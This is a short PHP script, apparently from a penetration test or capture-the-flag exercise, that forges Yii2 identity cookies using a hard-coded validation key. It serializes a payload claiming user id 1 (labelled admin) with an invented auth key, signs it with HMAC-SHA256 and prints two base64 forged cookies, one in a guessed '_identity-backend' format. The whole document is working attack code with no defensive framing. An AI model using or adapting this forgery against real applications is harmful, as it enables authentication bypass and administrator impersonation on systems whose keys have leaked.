<?php
// Yii2 cookie forging with known validation key

$key = 'pjZl9KWdjpwwLH4fWAJ4FecTSSpZe7J5';

// Test payload - try to set user identity
$payload = serialize([
    1,  // user id 1 (admin)
    "AdminAuthKey123456789012345678901234",  // auth key (32 chars)
    2592000  // duration
]);

// Yii uses HMAC-SHA256
$hash = hash_hmac('sha256', $payload, $key, false);
$data = $hash . $payload;

// The cookie value is base64 encoded
$cookie = base64_encode($data);

echo "Forged cookie value:\n";
echo $cookie . "\n\n";

// Also try with correct Yii format (serialized with variable name)
$yii_format = 'a:2:{i:0;s:17:"_identity-backend";i:1;s:' . strlen($payload) . ':"' . $payload . '";}';
$hash2 = hash_hmac('sha256', $yii_format, $key, false);
$data2 = $hash2 . $yii_format;
$cookie2 = base64_encode($data2);

echo "Yii format cookie:\n";
echo $cookie2 . "\n";